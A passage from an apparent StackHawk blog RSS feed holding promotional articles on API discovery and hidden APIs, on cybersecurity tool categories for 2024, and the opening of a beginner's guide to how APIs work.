usage.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Security Scanners:&lt;/b&gt; Specialized tools such as StackHawk proactively scan for vulnerabilities and map your API endpoints, exposing previously unknown ones.&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;Automated API discovery tools often offer organizations a significant advantage in maintaining a complete and up-to-date understanding of their API inventory and &lt;i&gt;improving their API security posture&lt;/i&gt;. Next, let’s explore the benefits further by looking at what makes API discovery important for modern organizations.&lt;/p&gt;&lt;h2&gt;&lt;b&gt;The Importance of API Discovery&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;API discovery plays a vital role in managing, securing, and maximizing the potential of your API infrastructure. From developers to those involved with the business and compliance aspects of an enterprise, API discovery offers a wide array of benefits.&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Security Vulnerability Detection:&lt;/b&gt; API discovery lets you gain comprehensive visibility into all the APIs used within your environment. This includes undocumented or forgotten endpoints (&amp;quot;&lt;a href=&quot;https://www.imperva.com/learn/application-security/shadow-api/#:~:text=In%20the%20simplest%20terms%2C%20a,remnant%20from%20previous%20software%20versions.&quot;&gt;&lt;u&gt;shadow APIs&lt;/u&gt;&lt;/a&gt;&amp;quot;) that are prime targets for attack. Maintaining an accurate API inventory reduces the attack surface and proactively addresses potential&lt;a href=&quot;https://www.stackhawk.com/blog/finding-and-fixing-bfla-vulnerabilities-in-flask-python-with-stackhawk/&quot;&gt; &lt;u&gt;BFLA&lt;/u&gt;&lt;/a&gt;,&lt;a href=&quot;https://www.stackhawk.com/blog/understanding-and-protecting-against-api1-broken-object-level-authorization/&quot;&gt; &lt;u&gt;BOLA&lt;/u&gt;&lt;/a&gt;, and other vulnerabilities outlined in the&lt;a href=&quot;https://www.stackhawk.com/blog/understanding-the-2023-owasp-top-10-api-security-risks/&quot;&gt; &lt;u&gt;OWASP API Top Ten&lt;/u&gt;&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Improved Compliance:&lt;/b&gt; Industries governed by regulations, like healthcare with&lt;a href=&quot;https://www.hhs.gov/hipaa/for-professionals/privacy/laws-regulations/index.html&quot;&gt; &lt;u&gt;HIPAA&lt;/u&gt;&lt;/a&gt; or finance with&lt;a href=&quot;https://www.pcisecuritystandards.org/standards/&quot;&gt; &lt;u&gt;PCI DSS&lt;/u&gt;&lt;/a&gt;, frequently have strict requirements for sensitive data access and control. API discovery helps you map the flow of data within your APIs.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Reduced Development Friction:&lt;/b&gt; API discovery facilitates faster and more efficient development practices by making it easier for developers to locate and understand existing API functionality, both internal and third-party.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Accelerated Innovation:&lt;/b&gt; A catalog of discoverable APIs empowers developers to rapidly create connections between services and enables developers and architects to understand the existing capabilities available within the enterprise. Knowing which APIs are available and understanding their capabilities lead to a faster and easier path towards innovation.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Partnership and Ecosystem Development:&lt;/b&gt; API discovery is vital for onboarding partners if you will have third-party users of your APIs. Well-documented and easily discoverable APIs can open business opportunities and enable external developers to use them and collaborate with your organization seamlessly.&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;Incorporating&lt;a href=&quot;https://www.stackhawk.com/partners/microsoft/&quot;&gt; &lt;u&gt;API discovery&lt;/u&gt;&lt;/a&gt; into your API development lifecycle and security practices is essential for building robust and secure applications. From a security perspective, one of the biggest downfalls of not using API discovery tools is that hidden APIs may expose vulnerabilities you&amp;#39;re unaware of.&lt;/p&gt;&lt;p&gt;Hidden APIs are those that exist within a system but are not cataloged or included in the official documentation. Such APIs can become a significant security and management concern since they may slip through the cracks of security testing and patching.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;Shadow APIs&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;These are unintentionally exposed APIs, often created by developers during testing or for temporary purposes. Shadow APIs might not follow established security standards or documentation practices, leading to potential vulnerabilities being exploited by attackers.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;Zombie APIs&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;These refer to obsolete or deprecated APIs that are meant to be decommissioned but remain active within a system. Poor versioning practices and inadequate tracking of decommissioning processes can result in these APIs continuing to exist among the mix of available APIs, representing potential security risks if they are not properly patched or removed.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;Rogue APIs&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;These APIs are deliberately created and hidden, often with malicious intent. As a backdoor into the system via API, a rogue API may be designed to circumvent security controls or exfiltrate data without authorization.&lt;/p&gt;&lt;hr/&gt;&lt;h2&gt;API Discovery Tools and Platforms&lt;/h2&gt;&lt;p&gt;There are various API discovery tools and platforms available to help organizations manage their APIs effectively. These tools can be broadly categorized into automated and manual discovery tools, API management platforms, and IDE plugins.&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Automated API Discovery Tools&lt;/b&gt;: These tools leverage machine learning and artificial intelligence to automatically discover and document APIs. They can scan systems, analyze network patterns, and probe endpoints to uncover APIs, providing a comprehensive and efficient solution for API discovery.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Manual API Discovery Tools&lt;/b&gt;: These tools require manual effort to discover and document APIs. While they can be effective in certain scenarios, they are often labor-intensive and time-consuming compared to automated solutions.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;API Management Platforms&lt;/b&gt;: These platforms offer a centralized solution for API discovery, management, and security. They often include features such as traffic monitoring, API usage analytics, and security scanning, making them a comprehensive solution for managing APIs.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;IDE Plugins&lt;/b&gt;: Integrated Development Environment (IDE) plugins provide developers with a seamless experience for API discovery and integration. These plugins can automatically detect APIs within the codebase and provide relevant documentation and usage examples, streamlining the development process.&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;API discovery tools can help uncover hidden APIs and remedy any security vulnerabilities present within them. The security risks of these APIs can be widespread and leave a &lt;i&gt;massive hole in your security efforts&lt;/i&gt;. With that in mind, let&amp;#39;s dig a bit further in the next section on those specific security risks.&lt;/p&gt;&lt;p&gt;As mentioned, hidden APIs pose a significant API security challenge because they often exist outside standard security monitoring and governance practices. Even the best security practices are &lt;b&gt;null and void &lt;/b&gt;if certain APIs completely escape the umbrella of coverage. By having hidden APIs existing in your portfolio, here are some of the key risks they introduce:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Unpatched Vulnerabilities:&lt;/b&gt; Hidden APIs may contain undetected and unpatched vulnerabilities, especially zombie APIs that are no longer actively maintained. This makes them easy targets for attackers.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Expanded Attack Surface:&lt;/b&gt; Hidden APIs increase the available attack vectors for malicious actors to exploit. They may discover these APIs through trial and error, code leaks, or automated scanning.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Data Exposure:&lt;/b&gt; Poorly secured or undocumented APIs can be gateways for unauthorized data access or leaks. Attackers may use hidden APIs to retrieve sensitive data or manipulate the system unnoticed.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Compliance Violations:&lt;/b&gt; Hidden APIs can lead to non-compliance with data privacy&lt;a href=&quot;https://gdpr.eu/what-is-gdpr/&quot;&gt; &lt;u&gt;regulations such as GDPR&lt;/u&gt;&lt;/a&gt;, or industry-specific standards. This is because ensuring proper authorization and access controls on undocumented APIs becomes difficult due to minimal oversight.&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;With these factors in mind, it&amp;#39;s easy to see why proactive discovery of hidden APIs is essential. By keeping track of every single API within your organization&amp;#39;s API portfolio, you enhance your capabilities for mitigating these risks and maintaining a strong security posture.&lt;/p&gt;&lt;h2&gt;&lt;b&gt;Using StackHawk For API Discovery&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;StackHawk&amp;#39;s new API discovery feature enables developers to bundle together a modern DAST platform with the capabilities for continuous API discovery. This innovative tool empowers users to discover API endpoints, including rogue and shadow APIs, thereby bolstering the detection of vulnerabilities throughout your entire API inventory. By allowing users to discover API endpoints previously unknown, such as rogue and shadow APIS, StackHawk&amp;#39;s API discovery tool can augment the uncovering of API vulnerabilities across your entire API inventory.&lt;/p&gt;&lt;p&gt;API discovery is an essential process in the modern software landscape. By understanding what APIs exist within your organization, how they work, and whether any hidden risks are lurking, you can streamline development, enhance security, and maximize the value your APIs deliver.&lt;/p&gt;&lt;p&gt;While both manual and automated methods contribute to the process, automated tools provide a considerable advantage in achieving thorough and efficient API discovery, particularly in identifying hidden APIs.&lt;/p&gt;&lt;p&gt;When it comes to building secure APIs, StackHawk helps organizations mitigate the security risks outlined in the OWASP API Top Ten and beyond.&lt;a href=&quot;https://auth.stackhawk.com/signup&quot;&gt; &lt;u&gt;Sign up for a free trial today&lt;/u&gt;&lt;/a&gt; to try out API discovery + DAST in an all-in-one solution.&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Essential Cybersecurity Tool Breakdown: The 2024 Essentials for Optimal Protection]]></title><guid isPermaLink="false">https://www.stackhawk.com/lp/essential-cybersecurity-tool-breakdown-2024</guid><category><![CDATA[Tooling Guides]]></category><dc:creator><![CDATA[StackHawk]]></dc:creator><content:encoded>&lt;p&gt;With every passing year, the complexity of cyber threats intensifies. With each new threat comes the demand for more sophisticated defenses. This guide is designed to teach you the essential cybersecurity tools that stand as the vanguard against these evolving threats. From network security monitors and web vulnerability scanning to encryption tools, this blog uncovers the critical technologies that cyber security professionals depend on to safeguard our digital realm. You&amp;#39;ll learn about the tools and how to strategically select and effectively implement them to enhance your digital defenses.&lt;/p&gt;&lt;p&gt;This year, we saw a significant increase in the demand for cybersecurity tools. With cybercrime costs predicted to soar to $10.5 trillion annually by 2025, the urgency for robust digital protection is crucial. From network security monitoring tools, the critical role of encryption in data protection, web vulnerability scanners and rigorous testing afforded by penetration testing tools, this blog will dive into a handful of solution categories that are necessary for combating cyber threats. &lt;/p&gt;&lt;p&gt;Choosing the right cyber security tool is likened to selecting the most effective armor in battle. It requires a holistic understanding of your organization&amp;#39;s unique landscape—considering everything from prevalent industry threats to regulatory compliance. This blog guides you through the selection process, emphasizing the importance of features such as automation, ease of use, and adaptability to new threats. Let&amp;#39;s begin by looking at precisely what cybersecurity tools are.&lt;/p&gt;&lt;h2&gt;&lt;b&gt;What Are Cyber Security Tools?&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;A security tool, whether software or hardware, is engineered to detect, thwart, and respond to potential cyber threats and vulnerabilities threatening our digital ecosystems. As the bedrock of cybersecurity, these tools offer the initial barricade against a spectrum of attacks poised to undermine the integrity, confidentiality, and availability of data and systems.&lt;/p&gt;&lt;p&gt;The essence of a security tool lies in its mission to safeguard information and the infrastructures that harbor, process, and communicate this data. Security tools span a diverse array, from the defensive perimeters established by firewalls to surveillance conducted by antivirus programs and intrusion detection systems (IDS). Beyond these, encryption solutions dedicate themselves to protecting data privacy, while security information and event management (SIEM) systems orchestrate real-time security insight and response across the digital landscape.&lt;/p&gt;&lt;p&gt;Moreover, the realm of security tools extends to encompass a variety of operational capabilities essential for comprehensive digital protection. This includes, but is not limited to, vulnerability assessment, which identifies and quantifies security loopholes; patch management, ensuring timely updates to software and systems; endpoint security, guarding every device, including mobile devices, that connects to the network; and access control, which verifies and permits entry to authorized users while barring unauthorized ones. These functionalities can be encapsulated within standalone applications or integrated into multifaceted suites, offering a synergistic approach to cybersecurity.&lt;/p&gt;&lt;p&gt;It&amp;#39;s pivotal to recognize their strategic importance in framing our discussion of the myriad types of cybersecurity tools that follow. They are technical solutions and critical components of a holistic security posture designed to protect against the ever-evolving cyber threat landscape. As we explore these tools further, remember that each is a piece of a larger puzzle, working in concert to secure the digital domains upon which modern society increasingly relies.&lt;/p&gt;&lt;h2&gt;&lt;b&gt;Types of Cybersecurity Tools&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;In the intricate and expansive domain of cybersecurity, tools designed to protect our digital environments act as the frontline defense against a spectrum of cyber threats and security flaws. These tools, wielded by dedicated cybersecurity professionals, are pivotal in monitoring network security, encrypting confidential data, identifying vulnerabilities, and simulating cyber-attacks. They are the digital age&amp;#39;s superheroes, safeguarding our virtual worlds with unwavering vigilance.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;Network Security Monitoring Tools&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;Network security monitoring tools are the ever-watchful eyes of an organization&amp;#39;s digital perimeter. These tools are indispensable for detecting external threats and network security weaknesses and thwarting potential attacks by meticulously analyzing network activities and aggregating essential metrics on network operations. For instance, intrusion detection and prevention systems such as Snort, excel in monitoring network traffic and performing real-time analysis of network protocols to identify unauthorized activities. Meanwhile, platforms like Nagios and Splunk offer comprehensive real-time and retrospective network analysis capabilities, empowering IT teams with alerts on unauthorized activities and providing detailed event reports. Other notable tools in this category include Argus, Nagios, and OSSEC, renowned for their efficacy in detecting external threats to operating systems.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;Encryption Tools&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;Encryption tools are the custodians of digital confidentiality. They are crucial in securing data by transforming readable text into encrypted formats, rendering it inaccessible to unauthorized entities. Solutions like AxCrypt and NordLocker provide robust encryption services, ensuring the safety of sensitive data. Additionally, Tor offers invaluable protection for user identities and locations. GnuPG stands out for its data and communication encryption versatility, offering comprehensive key management functionalities and compatibility across various platforms.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;Web Vulnerability Scanners&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;Web vulnerability scanners act as the cybersecurity landscape&amp;#39;s detectives, working to identify security vulnerabilities within web applications to preempt potential exploits. Renowned tools in this domain include Nikto, Nmap, and OWASP’s Zed Attack Proxy (ZAP), each offering unique capabilities in detecting security and network vulnerabilities through meticulous web vulnerability scans.&lt;/p&gt;&lt;p&gt;For more advanced capabilities, StackHawk distinguishes itself with its user-friendly interface, rapid scanning capabilities, and extensive API testing suite, making it an indispensable tool for continuous security monitoring. As a leading solution in Dynamic API and Application Security Testing (DAST), StackHawk empowers developers and security teams to identify and rectify security vulnerabilities in web applications efficiently beyond the capabilities of traditional DAST tools. By adding StackHawk&amp;#39;s testing capabilities directly into a CI/CD pipeline, developers can ensure their code is tested upon each pull request. This helps to ensure your team&amp;#39;s digital assets remain secure against potential threats as they are being built before any vulnerabilities can hit production.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;Penetration Testing Tools&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;Penetration testing tools are invaluable for evaluating the resilience of cybersecurity defenses. These tools simulate cyber-attacks to identify exploitable vulnerabilities (such as those seen in brute force attacks or cross-site scripting), enabling organizations to fortify their defenses proactively. Metasploit, recognized as a premier penetration testing platform, provides a comprehensive suite of functionalities, including vulnerability scanning and payload execution. Similarly, NMAP is celebrated for its extensive network discovery and security auditing capabilities, which are critical in practical penetration testing efforts.&lt;/p&gt;&lt;p&gt;Of course, the list above does not include every type of security tool since new types of tools are constantly being introduced. That being said, by adopting some of the tools mentioned above, most organizations will be well on their way to creating a production-ready and robust security stack. Want to know more about specific tools to add? Let&amp;#39;s check out the top cybersecurity tools for 2024 next!&lt;/p&gt;&lt;h2&gt;&lt;b&gt;Essential Cybersecurity Tools for 2024&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;Are you ready to upgrade your digital defenses? This section dives into cyber security software and tools, revealing the specific solutions you can deploy for network monitoring, encryption, vulnerability scanning, and more. Let&amp;#39;s look at some of the top tools to consider for 2024!&lt;/p&gt;&lt;h3&gt;&lt;b&gt;Network Security Monitoring&lt;/b&gt;&lt;/h3&gt;&lt;h4&gt;&lt;b&gt;Snort&lt;/b&gt;&lt;/h4&gt;&lt;p&gt;An open-source intrusion detection and prevention system (IDPS) was created by Cisco and is now supported by a robust community.&lt;/p&gt;&lt;p&gt;&lt;b&gt;Highlights:&lt;/b&gt;&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;Real-time traffic analysis and intrusion detection&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Flexible rule-based language for customizing detection&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Large community support and extensive documentation&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;b&gt;Who should use it? &lt;/b&gt;Network administrators and security teams responsible for safeguarding network infrastructure.&lt;/p&gt;&lt;h4&gt;&lt;b&gt;Splunk&lt;/b&gt;&lt;/h4&gt;&lt;p&gt;A powerful platform for log aggregation, analysis, and visualization, offering real-time network security insights.&lt;/p&gt;&lt;p&gt;&lt;b&gt;Highlights:&lt;/b&gt;&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;Collection of log and machine data from diverse sources&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Advanced search and correlation capabilities&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Customizable dashboards and reporting&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;b&gt;Who should use it? &lt;/b&gt;IT teams and security operations centers (SOCs) needing comprehensive visibility into network activity.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;Encryption&lt;/b&gt;&lt;/h3&gt;&lt;h4&gt;&lt;b&gt;VeraCrypt&lt;/b&gt;&lt;/h4&gt;&lt;p&gt;A free and open-source encryption tool, considered a successor to TrueCrypt, offering advanced security features.&lt;/p&gt;&lt;p&gt;&lt;b&gt;Highlights:&lt;/b&gt;&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;On-the-fly encryption for files, partitions, and entire drives&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Plausible deniability and hidden volumes for enhanced security&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Cross-platform compatibility&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;b&gt;Who should use it?&lt;/b&gt; Individuals and businesses seeking robust data encryption for sensitive information.&lt;/p&gt;&lt;h4&gt;&lt;b&gt;NordLocker&lt;/b&gt;&lt;/h4&gt;&lt;p&gt;A cloud-based encryption solution from the makers of NordVPN, providing user-friendly secure file storage and sharing.&lt;/p&gt;&lt;p&gt;&lt;b&gt;Highlights:&lt;/b&gt;&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;Zero-knowledge encryption (only you have the keys)&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Easy drag-and-drop file encryption&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Secure collaboration features&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;b&gt;Who should use it?&lt;/b&gt; Individuals and teams needing cloud-based encryption with a focus on usability and collaboration.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;Web Vulnerability Scanning&lt;/b&gt;&lt;/h3&gt;&lt;h5&gt;&lt;b&gt;StackHawk&lt;/b&gt;&lt;/h5&gt;&lt;p&gt;A developer-focused DAST (Dynamic Application Security Testing) platform designed for modern development pipelines.&lt;/p&gt;&lt;p&gt;&lt;b&gt;Highlights:&lt;/b&gt;&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;Seamless integration into CI/CD pipelines&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Fast and accurate vulnerability scans&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Prioritization and actionable remediation guidance&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;b&gt;Who should use it? &lt;/b&gt;AppSec and development teams looking to integrate security testing directly into their build processes.&lt;/p&gt;&lt;h4&gt;&lt;b&gt;Snyk&lt;/b&gt;&lt;/h4&gt;&lt;p&gt;A developer-centric security platform encompassing both SAST (Static Application Security Testing) and open-source dependency scanning.&lt;/p&gt;&lt;p&gt;Highlights:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;Code analysis during development for early vulnerability detection&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Identification of vulnerabilities in open-source libraries&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Integration into IDEs and CI/CD pipelines for seamless testing&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;b&gt;Who should use it?&lt;/b&gt; Developers and DevSecOps teams seeking to prioritize security within their software development processes.&lt;/p&gt;&lt;h4&gt;&lt;b&gt;Penetration Testing&lt;/b&gt;&lt;/h4&gt;&lt;p&gt;&lt;b&gt;Metasploit Framework
&lt;/b&gt;Metasploit is an open-source penetration testing platform with a vast library of exploits and payloads.&lt;/p&gt;&lt;p&gt;&lt;b&gt;Highlights:&lt;/b&gt;&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;Modular architecture for customizing attacks&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Development and execution of custom exploits&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Large community and extensive resources&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;b&gt;Who should use it?&lt;/b&gt; Experienced penetration testers and ethical hackers&lt;/p&gt;&lt;h2&gt;&lt;b&gt;Choosing the Right Cybersecurity Tool for Your Needs&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;With so many available tools, selecting the right ones can be challenging. A strategic approach is crucial, considering unique risks, industry-specific threats, compliance requirements, and your organization&amp;#39;s goals. Let&amp;#39;s explore the essential factors guiding your decision when adopting new security tools.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;Know Your Enemy: Conduct a Risk Assessment&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;Begin by identifying your most valuable assets and the specific vulnerabilities they may face. Consider prevalent threats within your industry and understand the regulatory landscape you must navigate (e.g., HIPAA for healthcare, PCI-DSS for payment processing).&lt;/p&gt;&lt;h3&gt;&lt;b&gt;Match the Tool to the Task: Evaluate Features &amp;amp; Functionality&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;Does the tool address the specific risks you&amp;#39;ve identified? Consider its core features, the level of automation it offers, and whether it seamlessly integrates with your existing technology stack.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;Usability is Key: Assess Ease of Use and Adoption&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;A tool with a steep learning curve can lead to underutilization or misconfiguration. Prioritize intuitive tools your team can quickly adopt and maintain, minimizing friction and maximizing security gains.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;Investigate the Source: Vendor Reputation&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;Choose vendors with a proven track record in security, responsive support, and a commitment to continuous improvement. Their reputation is an indicator of the tool&amp;#39;s reliability and trustworthiness.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;Think Ahead: Adaptability to Evolving Threats&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;The cybersecurity landscape is changing rapidly. Does the tool have a robust roadmap for updates and the ability to adapt to emerging threats? Choosing future-proof solutions ensures your investment continues to protect you over time.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;The Bottom Line: Cost and ROI&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;Factor in the total cost of ownership, including licensing, support, deployment, and training. Analyze the potential gains regarding risk reduction, regulatory compliance, and the impact on your security posture.&lt;/p&gt;&lt;p&gt;Considering these factors, organizations can guarantee that they have a good start on building a robust security stack that keeps up with the demands of modern applications. The most significant point is to remember that security is very custom and personal and depends on the organization and the application&amp;#39;s needs.&lt;/p&gt;&lt;h2&gt;&lt;b&gt;Staying Ahead of Security Threats with StackHawk&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;When looking for the best cybersecurity tools to empower developers, StackHawk is there to help teams take a proactive stance on API and application security by &amp;quot;shifting left&amp;quot;. StackHawk’s DAST solution is not just about detecting vulnerabilities; it&amp;#39;s an engine for continuous security improvement. With its developer-first approach, StackHawk places the power of security in the hands of those who know the intricacies of the code—those who build it.&lt;/p&gt;&lt;p&gt;StackHawk’s platform is engineered to integrate seamlessly into your development workflow, making security testing a natural part of the process rather than an afterthought. It automates the discovery of security bugs, allowing developers to find and fix issues as they occur in real-time. This streamlines the path to production, ensuring security keeps pace with rapid deployment cycles by allowing users to embed StackHawk&amp;#39;s capabilities into their CI/CD flows. As a result, it bolsters security and aligns with agile methodologies and DevOps practices.&lt;/p&gt;&lt;p&gt;Being easy to configure and deploy, StackHawk ensures that getting started with security testing is a hassle-free experience. Its user-friendly interface and detailed documentation mean that even teams new to DAST can begin fortifying their applications with minimal onboarding time. By choosing StackHawk, you&amp;#39;re not just choosing a security tool—you&amp;#39;re adopting a security partner that scales with your needs, simplifies compliance, and offers clear insights with actionable data to secure your applications against the latest threats.&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;h2&gt;&lt;b&gt;Summary&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;As we wrap up this comprehensive journey through the essential cybersecurity tools for 2024, it&amp;#39;s clear that the stakes in digital security have never been higher. In an era where cyber threats escalate, and technological advancements surge rapidly, the cybersecurity tools we&amp;#39;ve examined are indispensable elements of your digital defense arsenal. Organizations can address vulnerabilities head-on by understanding and implementing SAST, DAST, IAST, and other pivotal security solutions, ensuring resilience against current and future cyber threats.&lt;/p&gt;&lt;p&gt;The cybersecurity landscape is a battleground where only the best-armed survive and thrive. Tools like StackHawk&amp;#39;s DAST platform offer a glimpse into the future of cybersecurity, where automation, integration, and developer-centric solutions lead the charge in securing our digital frontiers. StackHawk&amp;#39;s ease of use and deep integration into the CI/CD pipeline enables teams to seamlessly incorporate security into their development process, making it an indispensable ally for vulnerability detection and response.&lt;/p&gt;&lt;p&gt;Don&amp;#39;t let the complexity of cybersecurity deter you. Embrace it with StackHawk and turn it into your competitive edge. Take the step today to experience the power of proactive security by trying out StackHawk. &lt;a href=&quot;https://www.stackhawk.com/&quot;&gt;Start your free trial&lt;/a&gt; and equip your team with the capabilities to detect, analyze, and remediate security vulnerabilities with confidence and precision. &lt;/p&gt;</content:encoded></item><item><title><![CDATA[What is An API: A Complete Guide]]></title><guid isPermaLink="false">https://www.stackhawk.com/lp/what-is-an-api-a-beginners-guide-to-application-programming-interfaces</guid><category><![CDATA[API Security]]></category><dc:creator><![CDATA[StackHawk]]></dc:creator><content:encoded>&lt;p&gt;Regardless of your involvement in technology, you&amp;#39;ve likely come across the term &amp;quot;API,&amp;quot; also known as Application Programming Interface – a critical intermediary enabling different computer programs to interact and share information easily. Some analogies liken APIs to the “waiter example,” in which the waiter is the API, and serves as the intermediary passing information (or a note) between you and a friend sitting at two different tables in a restaurant. &lt;/p&gt;&lt;p&gt;In reality, APIs are much more powerful than the analogy of the waiter and are responsible for powering the majority of applications and technology we rely on daily. This blog post will dive into the world of APIs, highlight what they are, how they work, and most importantly, why you should care.&lt;/p&gt;&lt;h2&gt;&lt;b&gt;What is an API?&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;Before diving into the details, let&amp;#39;s clarify a fundamental question: What exactly is an API? Simply put, an API is the framework that enables systems to communicate. It establishes a standard set of commands and protocols that enable different entities to communicate with each other, despite their inherent differences.&lt;/p&gt;&lt;p&gt;It&amp;#39;s a bit like the rules of a game - they define how all the players interact and, in many ways, establish the boundaries within which the players refer to each other. In the same way, APIs set the form and boundaries of software communication, allowing us to share server data, perform tasks, and work collectively and collaboratively.&lt;/p&gt;&lt;h2&gt;&lt;b&gt;How do APIs Work?&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;APIs communicate in a process similar to having a conversation.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;Making the Call&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;Just as you might call a friend to suggest grabbing coffee, an app makes an API call to initiate an interaction. This is the digital equivalent of reaching out to start a conversation.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;Sending a Request&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;Once the call is connected, you ask your friend, &amp;quot;Do you want some coffee?&amp;quot; In the realm of APIs, this translates into a &amp;quot;request.&amp;quot; The requesting app specifies its needs in a universally recognized format, leveraging the HTTP (Hypertext Transfer Protocol) standard that web APIs use.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;Receiving a Response&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;Just like a friend responds to your coffee invite, the targeted app or API endpoint replies with an API response. This &amp;quot;response&amp;quot; could affirm the action, deny the request, or inform you of an error, much like a friend&amp;#39;s confirmation, refusal, or suggestion to meet elsewhere.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;Endpoints&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;Although this is a very simple example, it outlines the basics of an API call and the request and response that are part of the overall interaction. In the above example, however, you need a phone number to make this call - in the world of APIs, this is referred to as an endpoint.&lt;/p&gt;&lt;p&gt;API endpoints are crucial in the process of different online services communicating with each other. They&amp;#39;re essentially web addresses with a specific action attached to them—for instance, &amp;quot;GET userID&amp;quot; includes an action, &amp;quot;GET&amp;quot;, and an object to act upon, &amp;quot;userID.&amp;quot;&lt;/p&gt;&lt;p&gt;Each endpoint is a unique address that guides the data flow to the right place within an API. These generally look just like web 